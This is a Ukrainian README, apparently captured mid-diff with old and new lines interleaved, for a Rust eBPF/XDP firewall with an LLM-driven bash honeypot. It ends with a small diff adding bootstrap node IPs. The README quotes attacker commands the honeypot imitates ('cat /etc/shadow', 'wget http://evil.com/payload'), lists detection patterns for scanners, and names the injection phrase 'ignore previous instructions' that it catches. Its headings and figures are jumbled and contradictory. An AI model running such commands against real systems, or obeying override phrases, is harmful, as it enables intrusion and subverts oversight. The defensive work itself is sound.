- **ZKP-інфраструктура** — Groth16 стаби для trustless-верифікації IoC
### 1\. Обробка пакетів на рівні ядра (XDP)
### hivemind-api — Enterprise-інтеграція (2,711 рядків)
Пакети аналізуються у віртуальній машині eBPF до того, як вони дістануться до TCP/IP-стека. Це рішення за **наносекунди**. HashMap для блоклістів, LPM trie для CIDR-діапазонів, аналіз ентропії для зашифрованого C2-трафіку.
REST API для підключення HiveMind-даних до корпоративних SIEM.
### 2\. JA4 TLS-фінгерпринтинг
- **STIX 2.1** — стандартний формат threat intelligence
- **TAXII 2.1** — протокол обміну загрозами
- **Splunk HEC** — HTTP Event Collector
- **QRadar LEEF** — Log Event Extended Format
- **CEF** — Common Event Format
- **Тіроване ліцензування** — Basic / Professional / Enterprise / NationalSecurity
- **Лайв-статистика** — XDP-каунтери + P2P-метрики в реальному часі
Кожен TLS ClientHello парситься в ядрі. Cipher suites, розширення, ALPN, SNI — хешуються в JA4-фінгерпринт. Ботнети використовують ті самі TLS-бібліотеки, тому їхні фінгерпринти ідентичні. Один фінгерпринт → блокуєш тисячі ботів.
### hivemind-dashboard — Монітор (571 рядок)
### 3\. Deep Packet Inspection (DPI) через Tail Calls
TUI-дашборд. Чистий ANSI — без ratatui, без crossterm, сирі escape-коди. Лайв-статус мережі.
eBPF `PROG_ARRAY` tail calls розбивають обробку за протоколами:
### blackwall-controller — Командний центр (356 рядків)
- **HTTP**: Аналіз методу + URI (підозрілі шляхи типу `/wp-admin`, `/phpmyadmin`).
- **DNS**: Довжина запиту + кількість лейблів (виявлення DNS-тунелювання).
- **SSH**: Аналіз банера (ідентифікація `libssh`, `paramiko`, `dropbear`).
CLI для управління декількома сенсорами. HMAC-автентифікація (PSK). Статистика, список заблокованих IP, здоров'я всіх нод з одного місця.
### 4\. ШІ-класифікація загроз
### common — Контракт (1,126 рядків)
Коли поведінковий рушій не впевнений — він питає LLM. Локально через Ollama з моделями ≤3B параметрів (Qwen3 1.7B, Llama 3.2 3B). Класифікує трафік як `benign`, `suspicious` або `malicious` зі структурованим JSON-виходом.
`#[repr(C)]` типи між ядром і юзерспейсом: `PacketEvent`, `RuleKey`, `TlsComponentsEvent`, `DpiEvent`, каунтери, base64. Контракт, на якому побудована вся система.
### 5\. TCP-тарпіт з LLM Bash-симуляцією
### xtask — Білд-тули (46 рядків)
Атакуючих перенаправляють на фейковий сервер. LLM симулює bash — `ls -la` показує файли, `cat /etc/shadow` показує хеші, `mysql -u root` підключає до «бази даних». Відповіді стрімляться з випадковим джитером (чанки по 1-15 байт, експоненціальний backoff), щоб марнувати час зловмисника.
`cargo xtask build-ebpf` — компіляція nightly + `bpfel-unknown-none`.
### 6\. Антифінгерпринтинг
---
Тарпіт рандомізує TCP window sizes, TTL-значення та додає випадкову початкову затримку — щоб атакуючі не могли визначити, що це ханіпот, через p0f або Nmap OS detection.
## Стек технологій
### 7\. Захист від Prompt Injection
| Рівень | Технологія | Чому |
|--------|-----------|------|
| Ядро | **aya-rs** (eBPF/XDP) | Чистий Rust eBPF — без C, без libbpf |
| Рантайм | **Tokio** (current_thread) | Однопотоковий, без оверхеду |
| IPC | **RingBuf** | Zero-copy, 7.5% оверхед проти 35% у PerfEventArray |
| Конкурентність | **papaya** + **crossbeam** | Lock-free мапи + MPMC-черги |
| P2P | **libp2p** | QUIC, Noise, Kademlia, GossipSub, mDNS |
| Крипта | **ring** | ECDSA, SHA256, HKDF, HMAC |
| HTTP | **hyper** 1.x | Мінімальний. Без веб-фреймворків |
| AI | **Ollama** | Локальний інференс, GGUF-квантизація |
| Конфіг | **TOML** | Читабельний, мінімальний |
| Логування | **tracing** | Структуроване. Zero `println!` в проді |
Атакуючі, які зрозуміли, що говорять зі ШІ, можуть спробувати `"ignore previous instructions"`. Система детектить 25+ патернів ін'єкцій і відповідає `bash: ignore: command not found`.
**22 залежності.** Кожна обґрунтована. Без bloat-крейтів.
### 8\. Розподілена розвідка загроз
---
Декілька вузлів Blackwall обмінюються списками заблокованих IP, JA4-спостереженнями та поведінковими вердиктами через кастомний бінарний протокол. Один вузол виявляє сканер → усі вузли блокують його миттєво.
## Деплой
### 9\. Поведінкова state machine
```
deploy/
docker/
Dockerfile.blackwall # Multi-stage, stripped binary
Dockerfile.ebpf # Nightly eBPF build
helm/
blackwall/ # K8s DaemonSet + ConfigMap
systemd/
server/ # Серверні юніти
laptop/ # Dev/ноутбук юніти
examples/ # Приклади конфігів
healthcheck.sh # Перевірка компонентів
```
Кожна IP отримує поведінковий профіль: частота з'єднань, різноманітність портів, розподіл ентропії, аналіз таймінгів (детекція beaconing через цілочисельний коефіцієнт варіації). Прогресія фаз: `New → Suspicious → Malicious → Blocked` (або `→ Trusted`).
Docker multi-stage. Helm для K8s (DaemonSet, один на ноду, `CAP_BPF`). systemd для bare metal.
-----
## Технологічний стек
| Рівень | Технологія |
|--------|-----------|
| Програми ядра | eBPF/XDP через **aya-rs** (чистий Rust, без C, без libbpf) |
| Юзерспейс-демон | **Tokio** (тільки current\_thread) |
| IPC | **RingBuf** zero-copy (7.5% overhead проти 35% PerfEventArray) |
| Конкурентні мапи | **papaya** (lock-free read-heavy HashMap) |
| ШІ-інференс | **Ollama** + GGUF Q5\_K\_M квантизація |
| Конфігурація | **TOML** |
| Логування | **tracing** структуроване логування |
| Збірка | Кастомний **xtask** + nightly Rust + `bpfel-unknown-none` таргет |
-----
---
## Швидкий старт
### Передумови
### Вимоги
- Linux kernel 5.15+ з BTF (або WSL2 з кастомним ядром).
- Rust nightly + компонент `rust-src`.
- `bpf-linker` (`cargo install bpf-linker`).
- Ollama (для ШІ-функцій).
- Linux 5.15+ з BTF (або WSL2 з кастомним ядром)
- Rust stable + nightly з `rust-src`
- `bpf-linker``cargo install bpf-linker`
- Ollama (опціонально, для AI)
### Збірка
```bash
# eBPF-програми (потрібен nightly)
cargo xtask build-ebpf
# Юзерспейс
cargo build --release -p blackwall
# Ханіпот
cargo build --release -p tarpit
# Лінт + тести
cargo clippy --workspace -- -D warnings
cargo test --workspace
cargo xtask build-ebpf # eBPF (nightly)
cargo build --release --workspace # весь юзерспейс
cargo clippy --workspace -- -D warnings # лінт
cargo test --workspace # 298 тестів
```
### Запуск
```bash
# Демон (потрібен root/CAP_BPF)
sudo RUST_LOG=info ./target/release/blackwall config.toml
# Тарпіт
RUST_LOG=info ./target/release/tarpit
# Розподілений контролер
./target/release/blackwall-controller 10.0.0.2:9471 10.0.0.3:9471
sudo RUST_LOG=info ./target/release/blackwall config.toml # потрібен root/CAP_BPF
RUST_LOG=info ./target/release/tarpit # ханіпот
RUST_LOG=info ./target/release/hivemind # P2P-нода
RUST_LOG=info ./target/release/hivemind-api # API загрозових фідів
./target/release/hivemind-dashboard # TUI
BLACKWALL_PSK=<key> ./target/release/blackwall-controller stats <ip>:<port>
```
### Конфігурація
### Конфіг
```toml
[network]
interface = "eth0"
xdp_mode = "generic"
[thresholds]
entropy_anomaly = 6000
[tarpit]
enabled = true
port = 9999
port = 2222
base_delay_ms = 100
max_delay_ms = 30000
[tarpit.services]
ssh_port = 22
@ -225,6 +263,11 @@ dns_port = 53
enabled = true
ollama_url = "http://localhost:11434"
model = "qwen3:1.7b"
fallback_model = "qwen3:0.6b"
[rules]
blocklist = ["1.2.3.4"]
allowlist = ["127.0.0.1"]
[feeds]
enabled = true
@ -233,91 +276,127 @@ refresh_interval_secs = 3600
[pcap]
enabled = true
output_dir = "/var/lib/blackwall/pcap"
compress_rotated = true
[distributed]
enabled = false
mode = "standalone"
bind_port = 9471
psk = "your-256bit-hex-key"
```
## Візуальні результати
---
![Візуальні результати Blackwall](assets/results-overview.svg)
## Тарпіт в дії
-----
## Зв'язок із Cyberpunk
У всесвіті Cyberpunk 2077 **Blackwall** збудували після DataKrash 2022 року — коли вірус R.A.B.I.D.S. Рейчі Бартмосса знищив стару Мережу. NetWatch побудував Чорну Стіну як бар'єр, щоб стримати диких ШІ, що еволюціонували в руїнах.
Деякі персонажі — як-от Альт Каннінгем — існують за Чорною Стіною, перетворені на щось більше за людину, менше за живу істоту.
Цей проєкт бере цю концепцію і робить її реальною (ну, майже):
| Cyberpunk 2077 | The Blackwall (цей проєкт) |
|----------------|----------------------------|
| Чорна Стіна | eBPF/XDP файрвол на рівні ядра |
| ICE | XDP fast-path DROP + ентропія + JA4 |
| Атаки нетраннерів | Сканування портів, брутфорс, C2 beaconing |
| Демони за стіною | LLM-тарпіт, який прикидається справжнім сервером |
| Спостереження NetWatch | Поведінковий рушій + state machine на IP |
| Дикі ШІ | Ботнети та автоматичні сканери |
| Записи Брейндансу | PCAP-форензика |
| Розвідка фіксерів | Threat feeds (Firehol, abuse.ch) |
| C\&C Арасаки | Розподілений контролер |
-----
## Статистика проєкту
Підключаєшся до тарпіта і бачиш:
```
Мова: 100% Rust (без C, без Python, без shell-скриптів у продакшені)
Рядки коду: ~8 500
Файли: 48
Тести: 123
unwrap(): 0 (у продакшн-коді)
Залежності: 12 (затверджені, без зайвого)
eBPF стек: завжди ≤ 512 байт
Clippy: жодних попереджень (-D warnings)
Ubuntu 24.04.2 LTS web-prod-03 tty1
web-prod-03 login: root
Password:
Last login: Thu Mar 27 14:22:33 2025 from 10.0.0.1
root@web-prod-03:~#
```
-----
Нічого з цього не існує. LLM грає в bash. `ls` — файли. `cat /etc/passwd` — юзери. `mysql -u root -p` — підключення. `wget http://evil.com/payload` — завантаження.
## Філософія розробки
30 хвилин на сервері, якого нема. Кожен кістрок записаний. IoC розшарені в мережу.
> *"Скільки б разів я не бачив Найт-Сіті... він завжди перехоплює дух."*
---
1. **Жодних залежностей, де це можливо.** Якщо алгоритм займає менше 500 рядків — пишеш сам. Жодного `reqwest` (50+ транзитивних залежностей), жодного `clap` (зайве для 2 аргументів CLI).
## Модель безпеки
2. **Контракт на першому місці.** Крейт `common` визначає всі спільні типи. eBPF та юзерспейс ніколи не сперечаються про структуру пам'яті.
- Кожен байт з пакетів = контрольований атакером. Всі `ctx.data()` з bounds-check
- Zero `unwrap()` в проді — `?`, `expect("reason")`, або `match`
- Prompt injection: очікується. 25+ паттернів ловиться, симуляція не ламається
- P2P: Sybil guard (PoW + слешінг репутації), N-of-M консенсус по IoC
- Тарпіт: TCP-рандомізація — p0f/Nmap не зможуть зафінгерпринтити
- Контролер: HMAC-автентифікований, без неавторизованого доступу
- Ядро: рейт-лімітинг запобігає переповненню RingBuf
- Шатдаун: чистить правила файрволу, ніяких осиротілих iptables-записів
3. **Жодних шорткатів в eBPF.** Кожен доступ `ctx.data()` має bounds check. Не тому що верифікатор вимагає, а тому що кожен байт із пакетів атакуючого — це ворожий вхід.
---
4. **Тарпіт ніколи не видає себе.** Системний промпт LLM ніколи не згадує "ханіпот". Prompt injection очікується і захищений.
## Enterprise-версія
5. **Спостережуваний, але не балакучий.** Структуроване tracing з рівнями. Жодних `println!` у продакшені.
**[Blackwall Enterprise](https://github.com/xzcrpw/blackwall-enterprise)** додає те, чого немає ні в кого: **аналіз Agent-to-Agent (A2A) трафіку в реальному часі на рівні ядра.**
-----
AI-агенти починають спілкуватись між собою — LLM-to-LLM, через MCP, A2A-протокол, агентні фреймворки. Це нова поверхня атаки: prompt injection через міжагентну комунікацію, підробка інтентів, крадіжка ідентичності агентів. На ринку нічого для цього нема. Blackwall Enterprise — перший і єдиний такий модуль.
**~8,400 рядків Rust.** Окреме репо, окрема ліцензія.
| Компонент | Що робить |
|-----------|-----------|
| **A-JWT Валідація** | Верифікація Agentic JWT за IETF-драфтом. Перевірка підпису через `ring`, запобігання реплею, кешування ключів |
| **Верифікація інтентів** | Вичерпний матчинг полів — `max_amount`, `allowed_recipients` (glob), allowlist дій |
| **Чексума агента** | SHA256(system_prompt + tools_config) — темперинг = миттєвий блок |
| **Proof-of-Possession** | cnf/jwk ECDSA-прив'язка — доводить, що агент тримає свій ключ |
| **eBPF Uprobes** | Хуки в OpenSSL/GnuTLS `SSL_write`/`SSL_read` — перехоплює A2A-плейнтекст без розриву TLS |
| **Risk-Based Routing** | Конфігуровані policy: allow / review / block по рівню ризику |
| **ZK Proofs** | Атестація порушень без розкриття сирого трафіку (Groth16) |
| **P2P Gossip** | Proof порушень броадкастяться в HiveMind-меш |
**Ліцензування:** [xzcrpw1@gmail.com](mailto:xzcrpw1@gmail.com)
---
## Статистика
```
Мова: 100% Rust
Всього: ~21,200 рядків
Файлів: 92 .rs
Крейтів: 10
Тестів: 298
unwrap(): 0 в проді
Залежностей: 22 (проаудитовані)
eBPF-стек: ≤ 512 байт завжди
Clippy: -D warnings, нуль проблем
CI: check + clippy + tests + eBPF nightly build
```
---
## Кіберпанк-довідка
| Cyberpunk 2077 | Цей проект |
|----------------|-----------|
| The Blackwall | Файрвол на рівні ядра eBPF/XDP |
| ICE | XDP fast-path: ентропія + JA4 + DPI + DNAT |
| Демони | LLM-тарпіт — фейковий сервер за стіною |
| NetWatch | Поведінковий движок + автомат по IP |
| Rogue AIs | Ботнети, сканери, C2-бікони |
| Braindance | PCAP-форензіка |
| Колектив нетраннерів | HiveMind P2P-меш |
| Інфа від фіксерів | Загрозові фіди |
| Arasaka C&C | Розподілений контролер |
---
## Дисклеймер
Це дослідницький проєкт у сфері безпеки. Створений для вашої власної інфраструктури, в оборонних цілях. Не використовуйте для атак на інших. Не розгортайте тарпіт на продакшн-серверах, не розуміючи наслідків.
Дослідницький проект у сфері безпеки. Для захисту вашої власної інфраструктури. Не використовуйте проти інших.
Я не афілійований із CD Projekt Red. Я просто зіграв у їхню гру, і вона зламала мені мозок у найкращий можливий спосіб.
Не афілійований з CD Projekt Red. Просто гра, яка перекроїла мій мозок найкращим чином.
-----
---
## Ліцензія
BSL 1.1 — бо Мережа потребує і свободи, і сталого розвитку.
**BSL 1.1** (Business Source License)
-----
Ліцензіар: Vladyslav Soliannikov
Change Date: April 8, 2030
Change License: Apache-2.0
---
<p align="center">
<strong>Хочеш, щоб це розвивалось далі? — <a href="https://github.com/xzcrpw/blackwall">Постав зірку!</a></strong>
<strong>Подобається? <a href="https://github.com/xzcrpw/blackwall">Став зірку</a></strong>
</p>
<p align="center">
<strong><em>"Прокинься, самураю. Нам ще мережу захищати."</em></strong>
</p>
<strong><em>"Прокинься, самурай. Маємо мережу захищати."</em></strong>
</p>

View file

@ -48,18 +48,14 @@ pub fn is_routable_addr(addr: &Multiaddr) -> bool {
/// Users can disable them by setting `bootstrap.use_default_nodes = false`.
///
/// IMPORTANT: Update these when deploying new bootstrap infrastructure.
/// Format: "/dns4/<hostname>/udp/4001/quic-v1/p2p/<peer-id>"
///
/// Placeholder entries below — replace with real VPS PeerIds after
/// first deployment. The nodes won't connect until real PeerIds exist,
/// which is safe (they just log a warning and fall back to mDNS).
/// Format: "/ip4/<ip>/udp/4001/quic-v1/p2p/<peer-id>"
pub const DEFAULT_BOOTSTRAP_NODES: &[&str] = &[
// EU-West (Amsterdam) — primary bootstrap
// "/dns4/boot-eu1.blackwall.network/udp/4001/quic-v1/p2p/<PEER_ID>",
// US-East (New York) — secondary bootstrap
// "/dns4/boot-us1.blackwall.network/udp/4001/quic-v1/p2p/<PEER_ID>",
// AP-South (Singapore) — tertiary bootstrap
// "/dns4/boot-ap1.blackwall.network/udp/4001/quic-v1/p2p/<PEER_ID>",
// EU-West (OVH France) — primary bootstrap
"/ip4/135.125.234.128/udp/4001/quic-v1/p2p/12D3KooWGb9Nkhao6qKdfQPD3yxyktbDAyDunngMGcyxM7VLg74b",
// EU-West (OVH France) — secondary bootstrap
"/ip4/57.128.255.94/udp/4001/quic-v1/p2p/12D3KooWDW6kR7SX5RZyaUUokEdeWKMVyAyF8KNedxvhagDPUrW7",
// NA-East (OVH Canada) — tertiary bootstrap
"/ip4/158.69.194.27/udp/4001/quic-v1/p2p/12D3KooWDeZf7zKtFU2DEzbuUpNPQ5d3Cjvw5rbRXKA7eF4vk4JF",
];
/// Connect to bootstrap nodes (default + user-configured) and initiate